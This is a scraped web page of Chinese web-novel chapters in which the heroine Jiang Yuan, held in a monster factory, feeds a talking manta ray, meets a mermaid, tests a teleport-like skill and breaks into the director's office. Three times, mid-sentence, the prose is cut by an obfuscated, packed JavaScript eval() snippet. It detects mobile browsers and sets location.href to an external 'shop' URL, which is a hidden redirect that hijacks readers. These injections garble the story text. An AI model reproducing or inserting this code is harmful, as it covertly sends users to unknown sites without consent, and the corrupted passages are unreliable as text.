借着门缝里最后一缕光,她看清周围环境,似乎是个巨大的仓库,她所在铁笼的对面是一座巨型货架,钢铁铸就的格子间堆满或大或小的铁笼,一眼望不到货架的顶和底。 笼中缩着团团阴影,看不清面孔。 卷闸门闭合后,仓库内陷入一片沉寂的黑暗,仿佛连声音也吞噬了。 “嘶~嘶。” 姜原隐约听到斜上方传来类似口哨音的声响。 她沿着声音传来的方向,走到笼子一角,不敢把手伸到隔壁笼子,只谨慎的观望隔壁的情况。 隔壁笼子似乎空无一物,声音不是从这传来。 就在这时,上方似乎有东西反复落地,咚咚敲击着姜原所在的笼子顶部。 金属传导声音能量损耗小,姜原感觉自己整个笼子都在震颤。 不过得益于这次声响,她终于搞清了声音来源——有人在她斜上方的笼子里跺脚。 她贴近这一方向的笼角,尽可能把手臂从笼子外往上抻。 终于,另一个人握住了她的手。 铁笼层层堆叠,外表是平行摆放的,姜原无法看到对方的脸。触摸对方的手可以判断,对方是男性,年龄大约三十到四十左右,无名指还戴着一枚金属方戒。 上方笼子里关着的人是失踪的维修部【员工】周光,他符合以上所有特征。 “你是杜莘子?”周光不认识姜原,猜测她是维修部的杜莘子。 “我是姜原,来自公司副本运营C区第七副本组,和杜莘子还有海哥一起前来排查副本故障。”姜原说。 “你是跟进来的那个副本支配者?”周光对上号,“行吧,总算有一个同事跟我关在一块。” 他轻声叹气道:“我好不容易混成中级工,可以外出倒垃圾。这下好了,被重新关回笼子,又要从初级工干起了。” “这是哪里?”姜原问道。 “嘘——”周光示意她轻声,“不要把它们吵醒了。” 姜原看不到周光的脸,只看到他的手指向对面的笼子。 “这是一个专门生产、加工副本怪物的工厂。”周光小声和她解释,姜原只有贴近笼子才能听到他说什么,“这种工厂都是管理局直辖的,我也不知道为什么会出现在我们的副本里。” 姜原第一次听说怪物工厂的存在。 副本中除了可供【员工】支配的BOSS,还有不同种类的怪物。按照周光所言,怪物工厂就是专门生产副本怪物的。 “我们几个维修部的同事从黄金乡被抓进来以后,应该被关在不同的仓库里。”周光继续说,“我成为中级工人可以外出之后,见过其中一个同事。” “工厂每天都会安排不同的工作任务。被关在仓库里的人都是初级工人,白天外出工作,晚上回到仓库集合,完成每日任务可以累计积分,升级之后可以从事更高级的工作。” “工作内容一般是什么类型?成为高级工人有什么好处?”姜原问。 “你以前进厂打过工没?”周光说:“工作内容类型很多,水产场养殖工、机械厂螺丝工、纺织厂织机女工,随便什么工种,只有你想不到,没有这里不具备的。” “高级工我不清楚,我之前干到中级工,已经可以领到诸如外出倒垃圾这种工作。”说到这里,周光压低声音,生怕隔墙有耳,“我猜测,工人等级越高,工作内容的自由度也越高,这样我们出逃的成功率会大幅提高。” 姜原心中还有很多疑问。但就在此时,仓库的卷闸门缓缓抬起。 上方的笼子被挨个吊起,整座钢铁货架都在颤动,姜原所在的笼子也不例外。 铁笼被放上传送带,运往不同的区域。 姜原所在的铁笼被传送得很远,穿过全是金属仪器的区域和弥漫着彩色粉尘的区域,前后左右的笼子越来越少,终于在一片昏暗沉寂的工区前停下。 笼门打开,姜原走下传送带,双脚踩上铺着绿色塑胶皮的地板,发出簌簌的声响。 空气中弥漫着潮湿的水汽和鱼腥味,白炽灯忽明忽暗,像极了人类世界老旧的水产市场。 “你在看什么?”一只湿滑黏腻的触手搭上姜原的肩膀。 姜原猛地回头,身体快速后撤,一掌拍掉肩膀上的异物,警惕注视着身后的不明生物。 “你打我好疼啊。”一个章鱼人站在她面前。 之所以叫章鱼人,是因为这个生物的躯干主体以及双腿都是正常人类的模样,只有头部是一只完整的八爪鱼,此时正悻悻地缩回其中一条触手,仿佛真被姜原打疼了。 “它们又让我来带初级工。”章鱼人的触手轻轻挥动,示意姜原跟它走,“它们总欺负我,现在它们肯定在吃小鱼干。” “你今天的工作就是喂鱼。”章鱼人带着姜原深入水产区,路过形状各异的鱼缸,最后在一面巨大的玻璃墙前停下来。 “喂什么鱼?用什么喂?”姜原问。 “喂鱼,就是喂鱼。”章鱼人顶着章鱼脑袋,似乎连大脑也是章鱼一般智力低下的结构。 它伸出一条触手抚着光洁的玻璃墙,自顾自走了。 “好吧。”看着章鱼人渐渐远去,只留下一行湿漉漉的水迹,姜原很无奈。 先搞清楚要喂的是什么鱼。她转过身,被眼前景象吓了一跳。 一条巨大的蝠鲼在她身后的水缸中,宽阔的身体扁平地吸附在玻璃墙上,细长的尾巴随水波摆动。 一墙之隔,姜原看着蝠鲼,蝠鲼好像也在看她。 “要喂的就是你对吧。” 章鱼人没给她鱼食一类的东西,姜原四处张望,看到不远处的水缸里游着几条小鱼。 蝠鲼是吃鱼的,网上有很多水族馆蝠鲼上班时间怒吃同事的搞笑视频。姜原打算拿这几条小鱼当鱼食,打定主意,便拿网去捞。 走近了才看清,水缸中的小鱼呈圆卵形,身体扁扁的,灰绿色的鳞片上还有鲜艳的圆点,很像某种食人鱼。 姜原刚把网沉进水中,一条小鱼便从水面一跃而起,三角形的利齿咬伤她的胳膊。 “什么东西还咬人。”姜原嫌弃地把它拍回水里,胳膊破了一块皮,血滴顺着手腕滴落,逸散在水中不见踪影。 小鱼忽然老实了,不再乱蹦,乖乖沉在渔网中不动弹。 “这就对了。”姜原一手提溜着渔网,一手攀着梯子爬上巨型玻璃水缸,把小鱼倒进水缸喂蝠鲼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192945|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “开饭了!”小鱼入水的瞬间,巨型蝠鲼忽然开口说话,低音炮的声音语气却很娇憨。 鱼还会说话,这也许是一种副本怪物。 姜原默默观察。以前在小公司工作时,小公司买不起高级的副本怪物充实副本,所以她对副本怪物知之甚少。 蝠鲼优美地划向水缸上方,两翼划出两条飘逸的水线。 “我天,这饭不对啊,我要成别鱼的晚餐了!”见到尖牙小鱼的一瞬间,蝠鲼巨大的身体一顿,姜原甚至在一条鱼的脸上看到了惊恐。 蝠鲼迅速划到水底,腹部细长的嘴朝向姜原,隔着玻璃墙,声音带着哭腔:“你快把那几条钢牙食人鱼赶走,不然我要告状了。” 巨型蝠鲼和那几条小鱼的体型差之大,无异于非洲草原的大象和小麻雀。 姜原哭笑不得,“那几条鱼那么小,你随便把它们吃了当晚餐吧。顶多让它们咬你几口,没事的。” “不管不管,”蝠鲼在水中翻滚,像小孩在撒泼打滚,“你只是个初级工人,不满足我的要求,我要叫人来收拾你。” 它张开细长的像缝隙一样的嘴,极其雄浑响亮的声音从黑洞似的口中发出,仿佛要刺穿姜原的耳膜。 姜原不知道巨型蝠鲼准备把谁招来,但直觉告诉她被抓到准没好事。 她扭头就跑,白炽灯忽明忽暗,她步履如飞,转过一个接一个水缸,终于看到几座相邻摆放的机床。 姜原侧身平躺,双腿用力一蹬,把自己塞进机床与地面间的缝隙。 机床弥漫着一股奇怪的油味,鱼腥中带着一丝甜腻。 她的脸几乎要贴上机床冰冷的底座,有水掉在她脸上,恍惚间她觉得这股味道很熟悉。 姜原听到有大群生物在地面上蠕动爬行。远处传来巨型蝠鲼的声音:“那个讨厌的初级工往那边去了!” “你先别走,先把这几条钢牙食人鱼驱逐出我的水缸!” 在地面蠕动的声音没有停止,夹杂着水沫浮泛在地板上的声音,离姜原越来越近。 机床忽然启动,轰鸣声巧妙掩盖她的呼吸声。姜原贴紧地面一动不动,这里腥气重,只要她不动,对方不一定找得到她。 淅淅索索的爬行声近了,姜原偏过头,依稀看到一个章鱼人朝机床靠近。 这次的章鱼人似乎和先前那个智障章鱼人相反,上半身是人性,下半身是章鱼的触手。 她顿感不妙,因为她在章鱼触手上看到疑似眼睛的结构。 “不能这么倒霉吧。”姜原心中正想,章鱼人停在原地,它下半身的触手们四处张望。 忽见一条触手转向姜原所在的方向,圆形吸盘间睁开一只黄澄澄的眼睛! 章鱼的每条触手上都有独立的大脑结构。似乎这条触手的大脑还在反应中,姜原已经脱离了机床底部。 她是被动离开的。一只遍布青色鳞片的手把她拽了出来,一把拎进机床上方的水箱中。 “怎么,找到了,在机床底下?”章鱼人的核心大脑终于接收到来自触手的讯息,触手们齐力前进到机床前,发现下面空无一物。 水箱是不透明的,外面什么都看不见。 “明明什么都没有,一根愚蠢的触手。”章鱼人骂骂咧咧,临走前不忘终止机床突然启动的程序。 姜原泡在水箱中,看到面前的生物,想叹气,却只吐出几个泡泡。 她面前是一条人鱼,和四季城堡副本中的人鱼梅露辛一模一样。 18. 永眠的黄金乡3 水箱里亮着墨绿色的灯,照得眼前怪物漆黑的瞳仁像一汪深邃的湖水。 在水中,姜原开不了口,便打手势问道:“你是谁?” 人鱼没有回答,透明膜状的鳍耳贴上水缸的金属表面,似乎在聆听外面的动静。 片刻后,它轻轻开口,声音像水波一样流淌进姜原的耳朵:“追你的人走了。” 人鱼的语言很神奇,它们不依靠声带和胸腔结构发声,在水中也可以无障碍交流。 姜原没法说话,但她能听懂人鱼的语言。这一点在“四季城堡”副本中就发现了。 她不了解人鱼语言的具体原理,只好在心中重复自己的问题,试图通过精神意念和面前的人鱼交流信息。 “我是梅露辛。”人鱼轻轻摇晃它飘逸灵动的尾鳍,“我们这一款人鱼都叫梅露辛,名字来源于神话中的湖泊精灵。” “我见过你。”它抬起手,半透明的蹼连着手指,“你在很久以前就来过工厂,当时你乱动机器,生产出一条具备两次诅咒和祝福能力的人鱼。” 有两次诅咒能力的人鱼梅露辛,毫无疑问,正是“四季城堡”副本中的那条。 姜原在心中问道:“你为什么知道这件事?” 对面的人鱼真的听懂了,似乎她真能通过心念与人鱼在水中交流。 “我说过,我是梅露辛,我们都是梅露辛,所有梅露辛共享记忆和力量,所以我们记得很久以前的事情。” “当时你来到工厂,里里外外被你翻了个底朝天,隔壁水箱的蝠鲼说厂长也被你揍了一顿。”人鱼似乎在咯咯咯地笑,“不过你偷偷操控人鱼培养皿的事没有被发现,梅露辛被正常生产制造出来,后来打包卖去副本了。” “诞生在人为制造的故障中,有两次祝福和诅咒能力的人鱼,世间只此一条。” 姜原微微点头,假装表示赞同。 其实人鱼说的这些事她一件也不记得,大闹怪物工厂,这很可能是江不渡所为。 江不渡可能是失忆前的她,也可能不是,姜原暂时保持怀疑态度。 这不重要,往者不可谏,来者犹可追,她需要更多信息。 “你在说谎。”不料人鱼直接拆穿她,“梅露辛当初把自己的第一个祝福送给你,祝你可以用人鱼的语言和我们交流。你心里想什么我能听到,那些珍贵的记忆已经像泡沫一样消散在海洋中。” “因为你导致的生产故障,梅露辛的外形有缺陷,是一条丑陋的鱼,只能和其他怪物捆绑销售。”人鱼轻叹,“那条傻鱼老是被人嘲笑,它一直希望有人能真心喜欢它。” 原来如此。“四季城堡”中的那条人鱼,两次祝福,分别让姜原可以听懂人鱼语,让逝去的爱丽丝时光倒流;两次诅咒,一次按剧情诅咒了四季城堡,另一次诅咒【员工】扮演的公爵,导致副本出现意外情况。 面前的人鱼拆穿她的身份,刚才应该也是人鱼启动机床帮自己掩饰,关键时候又把自己拽进水箱,躲过一劫。 姜原认为它对自己没有恶意。 肺里的空气即将耗尽,姜原感觉眼前有些昏沉。她在心中默念,“我需要逃出这座工厂,你能告诉我路线吗?” 人鱼轻轻摇头,水中翻折起零碎的气泡:“在进入副本之前,人鱼从未离开水箱。不过厂长办公室应该有工厂的地形分布图。” “厂长办公室在哪?” “你可以去问隔壁水箱的蝠鲼,它是厂长私下圈养的宠物,水产区只有它知道。” 姜原点头。肺里已经榨不出一丝可呼吸的气体,她双脚猛蹬底部,快速浮上水面。 从水缸出来,姜原浑身湿透,衣服头发都湿哒哒地往下掉水。 她站在机床前,把挡在眼前的碎发挽到脑后。 头顶的白炽灯忽然炸个灯花,视线豁然开朗,她觉得眼前的机床有些熟悉。 这是生产人鱼胚胎的机床。没有操作指南,姜原却知道控制台上红色的按钮可以加注人鱼的“诅咒”能力,绿色按钮可以加注“祝福”能力。 看来她曾经确实造访过这座工厂,以玩家江不渡的身份。 叮—— 个人终端忽然亮起小红点。 姜原打开一看,最下方的技能【摆渡】出现新变化。 【摆渡】 车到山前必有路,水靠岸边自然停。何处是岸,这是你需要搞清楚的问题。 类型:主动技能; 冷却时间:无固定冷却时间,该使用的时候你自然会知道。但频繁使用的代价你真的支付得起吗? 施加目标:???; 解锁进度:6%(解锁昔日的足迹一处); 效果说明:所见之地,即为所达。 提示:快去解锁更多“你是谁”这个问题的答案吧。 姜原安静地站着,思考眼前的情况。 来黄金乡副本之前,她在【员工】改造计划的体检中被告知脑子里有不明增生物。人眼所看到的东西其实都是大脑电信号传导的结果,她眼前所见的技能【摆渡】,有没有可能是脑子里的肿瘤导致她“看见”这样一个非系统的技能? 如果【摆渡】这个后天出现在个人终端的技能是脑神经特定肿瘤导致的结果,那原始的系统是否也采用同样的原理,本质上是根植在【员工】大脑里干扰视觉电信号的某种装置? 那这和人类现实世界一样糟心的打工生活、大家夜以继日地经营恐怖杀人副本所付出的努力,一切的一切,这个以副本为核心架构支撑的世界存在的目的究竟是什么? 从遇到沈系舟开始,到人鱼梅露辛,再到那个管理局的通缉犯,熟悉的、陌生的人和怪物接踵而至,仿佛一把启子撬开玻璃汽水的瓶盖,积压在瓶底的信息接连浮出水面。 成为【员工】以来,姜原第一次质疑副本世界存在的意义。 她恍然大悟,成为【员工】后只有一件事始终印刻在心中,她需要找人,很重要的人。 现在看来,她的直觉没错。只要一只留在副本中,她就会慢慢找到这个人,或者说这群关键的人。 姜原现在需要继续完成喂鱼的工作任务,顺便跟那条会说话的蝠鲼咨询一下厂长办公室怎么走。 希望它能热心回答。 她没有拧干自己的衣服,等下说不定还要入水。 “你是不是见过梅露辛?”在她将走之际,人鱼从水缸上方探出头,“梅露辛后来找到爱它的人了吗?” 姜原想起墓碑上的诗句,严谨地回答:“应该算找到了。” 她没有提爱丽丝是个虚假的副本角色,也没说梅露辛已经报废了。 “明白了。”人鱼沉入水缸,最后只留下三个字。 四周陷入沉寂,偶有大型仪器风扇转动的声响,伴随着轻微的电流声划过。 姜原记得躲藏时过来的路,她转过一个又一个水箱,惊扰怪物们潜藏在水底的视线,又回到巨型蝠鲼所在水箱的玻璃高墙附近。 厚重的水深邃得发黑,先前她扔进去的钢牙食人鱼不见踪迹,巨型蝠鲼也不知所踪,姜原猜测它应该游到水缸深处去了。 她四处张望,发现那几条小食人鱼又被捞回它们原本的水缸中。 其实人类世界里的食人鱼没有它的名字那样凶悍,凭它的战斗力很难真正实现吃人。 但怪物工厂的这种鱼被叫做“钢牙食人鱼”,想来它一定有过人之处,让那条巨型蝠鲼如此畏惧。 钢牙食人鱼,这是附近唯一能用来喂鱼的食材。 为了她的完成任务,钢牙食人鱼,今天这条爱告状的蝠鲼吃定了。 站在食人鱼的小水缸前,姜原想起在四季城堡副本中,她意外触发【摆渡】技能的场景。 “所见之地,即为所达。”她在心中默默品味这句话。 字面意思,只要自己能看清事情的结果,就能到达绝对的真实。 姜原决定试验一下这项技能的使用方法。 “我想立刻完成喂鱼这项任务。”她在心中默念。 什么都没有发生。她脑海中的“江不渡”提示过,想要到达结果,前提是她清晰地知道应该采用的路线方案。 这一次她拆分喂鱼这项任务,细化解决方案:“我希望杀死面前这几条食人鱼,让它们失去攻击力,变成可供食用的状态。” 四周一片静悄悄,水缸中食人鱼来回游动,看起来很有精神。 姜原思考片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197680|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻,觉得原因可能是钢牙食人鱼具备不俗的战斗力,自己这项技能尚未强大到足够省略过程直接收获杀死食人鱼结局的程度。 她四处搜寻工具,终于在一处类似案板的桌案上找到一把手术钳。钳子上还沾着蓝色的血迹和鱼类肝脏的残渣。 姜原手握手术钳,目光如炬,瞄准水中快速游动的食人鱼,尖利的钳头朝下,径直戳入水中,转瞬间手臂伸展又收回,一条钢牙食人鱼被准确刺穿腹部,倒三角的尖牙丝毫来不及施展便失去作用,在手术钳的尖端扑腾几下,渐渐不动了。 上次体检的结果,力量7,速度8,毫无疑问姜原具备战士般的身体素质。同时她很擅长使用这种灵巧的工具,手术钳在她手中有不输剑戟的锋芒。 她如法炮制,转眼间刺穿好几条钢牙食人鱼。 “这下应该差不多。”姜原决定再做一次实验。 她把一只空桶和食人鱼堆放在自己面前,心中暗道:“我希望面前的死鱼出现在空桶里。” 没有反应。 她拿起其中一条鱼,再次默念:“我希望手中的死鱼出现在面前的空桶里。” 这一次,她成功了。手中的鱼凭空出现在桶中,有一种无名的力量回应了她的请求。 由此判断,技能【摆渡】的发动条件目前已知的有三点。 首先,姜原本人要清晰知晓事件的结果,同时掌握完成事件的正确方式方法。换言之,这项技能只能帮助她跳过已知的中间步骤,不能无中生有。 第二,完成任务中遇到的阻力不能超过姜原本身技能的强度,否则技能无法发动,就像她不能直接用技能杀死食人鱼。 第三,技能发动对象只能是她自己或者和她有接触的物品,有生命物体效果暂时未知。她只能改变自己的轨迹,无法操控别人的命运。 姜原依次拿起鱼,练习发动【摆渡】逐个把它们挪入桶中。 如法炮制了三四条,她就感觉头晕目眩,眼前飘起五彩缤纷的毛絮,这是眼花的表现。 她记得【摆渡】技能页展示的冷却时间和普通副本BOSS的技能有很大不同。【摆渡】这项技能没有固定的冷却时间,也没有明确使用限制, 它只有一句反问,频繁使用的代价,你真的支付得起吗? 姜原站起身,血液上涌,她不禁眼前一黑。 看来使用这项技能对身体损伤很大。姜原以前蹲下站起,从未有过眼前发黑的症状。 何况让鱼出现在桶中,这是一项十分简单的任务。姜原推测,以技能目前的解锁进度,如果她使用技能完成更困难的任务,一旦成功,她会付出比头晕目眩更严重的代价。 这项技能很省事,但不能轻易使用。 休息片刻,头晕的症状减轻很多。姜原提起桶,走到玻璃墙跟前,指关节轻轻敲击玻璃面:“大肥鱼,出来吃饭。” 深蓝的水翻涌,巨型蝠鲼翩迁而至,隔着一道玻璃墙,壮汉似的声音彰显着不满:“请优雅地称呼我蝠鲼先生,这次你给我带了什么吃的,不满意我还会叫人来收拾你哦。” 姜原绷紧面皮,保持着皮笑肉不笑的神态:“放心,这次包你满意。” 她提着桶,单手攀着绳梯爬到水缸顶部,把死去的食人鱼扔进水中。 “怎么又是钢牙食人鱼?!”蝠鲼不满地大叫,细长的嘴一开一合,“我只吃新鲜的食物,你要是找不到食材,就把自己变成食材谢罪吧。” “好啊,你试试看。”姜原纵身入水。 她快速潜游,直逼巨型蝠鲼。 凭借肌肉力量和潜水技巧,明明没有鱼鳍和手蹼,身形依然如鬼魅一般,冰凉的手术钳抵上蝠鲼用于滤食的鳃耙,这是它们的致命弱点。 “敢叫人,我就杀了你煲汤。”如果在陆地上,姜原会这样说。 好在杀意的传导不需要语言。巨型蝠鲼感受到死亡的威胁,庞大的身躯一颤,先前的高傲早抛到九霄云外:“别伤害我!你想要什么,可以打手语跟我说,我百分百配合。” 很好,这条贪生怕死的鱼会看人类的手语,省了她很多事。 姜原游到蝠鲼能看到的地方,向它打手语询问:“厂长办公室怎么走?” 19. 永眠的黄金乡4 傍晚,仓库门口,一个长着巨大鳄鱼脑袋的人正在清点自己手中的初级工人任务清单,每念到一个人,它就走到那人身前,长长的嘴筒几乎要戳到对方脸上。 “019号,任务:清理荒漠区的杂草,完成情况:杂草覆盖率从68%显著提升至89%。” “啊?!”听到鳄鱼人的话,019号工人一愣,“我以为那一片是草原,我的工作不是养护草苗吗?” “评级为:不合格。”鳄鱼人寥寥几笔,在清单上给019号定了性,“带走。” 旁边立刻有更矮小的鳄鱼人上前,把019号塞进笼子,扔上传送带。 传送带滚滚向前,不知通向何方。 “020号,任务:帮助盐碱地的火烈鸟脱困,完成情况:今日共68只火烈鸟幼生体成功起飞,环比增长3%。” 020号就站在姜原旁边,他的双腿似乎被强碱腐蚀,小腿皮肤全面溃烂,此刻正不断滴落脓水。 “评级为:勉强合格,不予积分奖励。”鳄鱼人挥挥手,示意020号回到仓库。 “能给我一些药吗?”020号声音在抖,“我是因为工作才受伤的。” 鳄鱼人没有抬头,专注地在清单上做标记,“工厂没有为廉价劳动力提供医疗保障的义务。” “下一个,021号。”它走到姜原面前,长吻对准姜原的脸,她立刻闻到一股口腔的恶臭。 “021号,任务:给水产区蝠鲼喂食,完成情况:巨型蝠鲼饥饿值下降120%,明天也不用喂了?!” 鳄鱼人低下头,两只凸起的眼睛注视着她,“你是怎么做到的?” 姜原低头看向地板,“就正常喂,你知道吧,喂鱼就那么回事。” 那条蝠鲼不肯吃死去的钢牙食人鱼,于是姜原用手术钳逼它张嘴,像喂海豚似的把一桶鱼直接倒进它嘴里。 “嗯。”鳄鱼人赞赏地轻哼,在任务清单上划了个大大的对钩,“021号评级为:优秀,奖励5个积分,攒够10个你就可以晋升中级工人了。” 有惊无险,姜原又被关回仓库的笼子。 卷闸门闭合,笼子斜上方又传来熟悉的敲击声。 姜原缓缓移动到笼子那一角,“我今天的工作是去水产区喂鱼,最后......反正完成了。” 周光回来的比姜原早,见姜原迟迟不归,还为她捏了一把汗,“我今天去剪羊毛,胳膊受了点伤。” “怎么回事,羊咬人?”姜原猜测。 “不是,”周光加固自己的绷带,“羊很温顺,但是羊毛变异了,会咬人。” “严重吗?”姜原问,“还能不能行动?” “你有什么计划?今天你去工作知道什么了?”周光听出她弦外之音。 姜原让自己尽量贴近笼子顶部,声音在金属中传播损耗小,这样上面的人听得更清楚,“厂长办公室里有工厂地图,我们把地图偷到手,方便逃跑。” “工作任务也继续做,看能不能晋升到高级工人,有外出机会。总之我计划做两手准备,偷地图直接出逃和升职外出找机会溜,两个方案同时进行。” 周光:“你知道厂长办公室在哪?” 姜原想起水缸中巨型蝠鲼泪眼婆娑、像倒豆子一样把信息吐个干净的情形,“嗯,热心人士告诉我的。” 热心人士?怪物工厂里能有这种东西?周光合理怀疑姜原采取的手段,不过眼下噩梦厂只有姜原和他在一处,他只能相信姜原。 “什么时候去?”周光思索合理的时机,“我们可以明天工作时想办法联系汇合,白天人多眼杂,先试着踩点。” “不用。”姜原双手抚上面前铁笼的栏杆,“我有办法开笼子的门,咱们今晚就去。” * 入夜,姜原轻敲笼子斜上方的顶角。周光会意,按照约定从铁栅栏中伸出手。 姜原牵住他,聚精会神在心中默念:“我和周光将穿过铁栏的阻碍,平安降落在笼子外的地面上。” 她清晰指出二人应有的路径,于是技能【摆渡】将她送到指定的位置。心念转动间,她和周光手牵手站在笼子外的地面。 用技能移动两个人比她想象得更消耗体能。姜原感觉额头冷汗岑岑,好在还能坚持。 她和周光两人摸黑潜行,在仓库卷闸门前,姜原再次施展技能【摆渡】,把她二人送至门外。 “这是怎么做到的!”离开仓库后,周光语气震惊,看向姜原的神色十分复杂,“你接受过【员工】改造吗,这是你改造后进化出的特殊能力?” “没有。”姜原否认。 周光的小心思她清楚。若非关押她的笼锁特殊,缺少工具实在打不开,她不会在周光面前展示自己的能力。 迫不得已使用能力,为此姜原早已想好应对的借口:“这次行动危险,我带了一件【道具】,这是我压箱底的宝贝,周哥你可要替我保密啊。” 她假装无奈地抱怨:“能进化出特殊能力的【员工】在改造者中也是佼佼者,我这样的小趴菜,连接受改造的机会都没有。” 周光不易察觉地松了口气。 先前他以为姜原是在改造计划中进化出特殊能力的天才,公司进一步重点培养的对象,此刻姜原承认自己的平凡,他又觉得两人处在同一个世界里。 “我也是四级【员工】,何谈哥不哥的,叫我名字就行。”周光说,“如此珍贵的【道具】,这次你下血本了。” “没关系。”姜原淡然一笑,“能顺利离开这个副本,便不枉费大家的付出。” 姜原在前面领路,周光紧随其后。 她今天被传送带运回仓库门口时,脑海中仔细记住沿途路线。结合巨型蝠鲼所言,她大致推导出以仓库为基点,厂长办公室所处的方向。 二人经过的怪物工厂大部分生产设施都已停运,只有少量仪器还在运作,指示灯不时亮起,猩红的灯光先后照过两人脸庞。 “前面有东西在发光。”走着走着,隐约可见前方有区域大面积泛着青绿的荧光,在黑暗中格外显眼。姜原停下脚步,轻声道。 “这片工区我好像在传送带运输图中见过。”周光努力辨识周围的仪器,试图唤醒记忆,“我记得前面那片地方属于农业区,应该是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213987|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片菜地。” 他也看到前面大片诡异的幽光,“应该没事,白天这里挺平静的,可能是地里的作物夜间会发光。” 不管什么原因,两人要去厂长办公室,这片菜地就非走不可。 “姜原,你饿吗?”二人离菜地越来越近,周光走在姜原身后,突然发问。 现在显然不是讨论这一问题的时机,但姜原觉得情有可原。 他们今晚只得到少量劣质食物,比副本外最低级的营养液还不如。 这是姜原在怪物工厂的第一天,她已经疲惫至此。更何况周光已经在此苦苦煎熬好几日,每天完成工作任务,只有这样的食物摄入,体力和精力早已消耗到极限。 “坚持一下。”连续两次使用技能后,姜原也很疲惫,头脑都有些困顿,“早日逃离这个副本才是上策。” “走吧。”伤口隐隐作痛,肠胃好像也饿得酸涩作痛。不知为何,周光越发觉得眼前那片菜地在诱惑自己,似乎还能闻到蔬果的香气。 周光轻轻抚着自己受伤的胳膊。这话他说给姜原听,也在给自己打气。 姜原在前,周光在后,二人踏上这片发光的沃土。 看植株外表形状,这块地里种的似乎是小萝卜。 和一般农田类似,这里两侧呈竖列种植作物,中间是隆起的田埂供人类行走。 姜原弯腰观察,发现不是菜在发光,而是菜地的泥土在发光。 确切来说,泥土中混杂着青绿色的硬质颗粒,是这些颗粒在发光。 她侧眼看去,发现周光双眼紧紧盯着面前的植物,看得几近入迷,似乎在认真搜寻线索。 姜原蹲下身,手指轻轻捻起一抹泥土,里面细碎的颗粒呈不规则形状,看不到明显的晶体结构,像是某些大块物质碾碎后的模样。 “好饿。”站在菜地里,周光身上每一个细胞都在叫嚣,它们叫嚣着饥饿,叫嚣着寂寞,叫嚣着离眼前的农作物更近一点。 “我就蹲下看看,只是看看。”周光在心中默念。 他蹲下身,余光偷瞄姜原,发现她正在研究手中的泥土,不会关注到他。 离小萝卜更近后,那股清甜的香气越发明显。周光越是强迫自己转移注意力,就越无法移开自己的视线。 他终于没忍住,一只手悄悄伸进叶片深处,不着痕迹地拔出一根萝卜,顺手扔掉萝卜叶,轻轻在裤腿上蹭去手掌泥土。。 整个过程萝卜丛只轻微晃动一下,叶片似乎还和之前一样茂密,旁人来看根本发现不了。 这时姜原看过来,周光下意识把小萝卜捏在手心,不让姜原看到。 “这片泥土里有某种特殊物质,也许这就是怪物工厂出现在黄金乡副本中的原因。”姜原撕下自己衣服的一角,保存一点泥土样本,“我们先去找厂长办公室,出去之后可以找机构化验一下。” 见姜原神色无异,没有发现自己所为,周光松了一口气。 他若无其事地起身,“好啊,我们走吧。” 姜原拍拍手上泥土,起身继续朝厂长办公室走去,没有看到她身后,周光悄悄把小萝卜塞进衣兜。 20. 永眠的黄金乡5 穿过农业区,两人来到一条漆黑的走廊。 脚下踩着木质地板,头顶悬挂的吊灯投射下柔和明亮的光线,装饰比姜原所见的水产区精致万倍,应该就是厂领导办公的区域。 姜原按照蝠鲼的指示,走到最里面一间,房门上挂着“厂长办公室”的标牌, 在姜原的威逼利诱下,那条贪生怕死的鱼没有说谎。 “我们怎么进去?”周光凑上前,小声问道,“你的【道具】使用频率有限制吗?” 姜原哪有什么能位移的【道具】,不过是一个借口。先前从仓库出逃,连续两次使用【摆渡】已经耗费她大量体力,再用一次只怕会原地虚脱。 好在厂长办公室装的是密码锁,巨型蝠鲼交代路线的时候,顺便把门锁密码也交代了。 姜原输入密码,只听“叮——”一声,密码锁弹开,门打开一条缝隙,屋里亮起灯光。 “密码也是热心人士告诉我的。”她解释道。 周光微微扯动嘴角,似乎笑了一下。 姜原没有急着走进办公室,而是先在门口观察。 房间内的陈设很简单,木质的桌椅背靠带玻璃门的大书架,淡蓝色的横条窗帘,下面搪瓷缸里插着几朵野花,像人类世界90年代工厂办公室的风格。 她没有发现明显的监控设施或者报警装置。和她预想的一样,领导当然不会在自己办公室里装监控,这种便利滋养着领导自己,也滋养了姜原这样的小毛贼。 姜原率先走入房间,周光紧随其后。 办公室里最可能有工厂地图类资料的地方就是那座书架。 “分头找。”姜原给周光打手势,示意自己从左边找,周光从右边开始。 周光没应声,只沉闷地点下头。 两人分头翻找书架,抽出书架上的文件书籍,略微查看内容再物归原位。 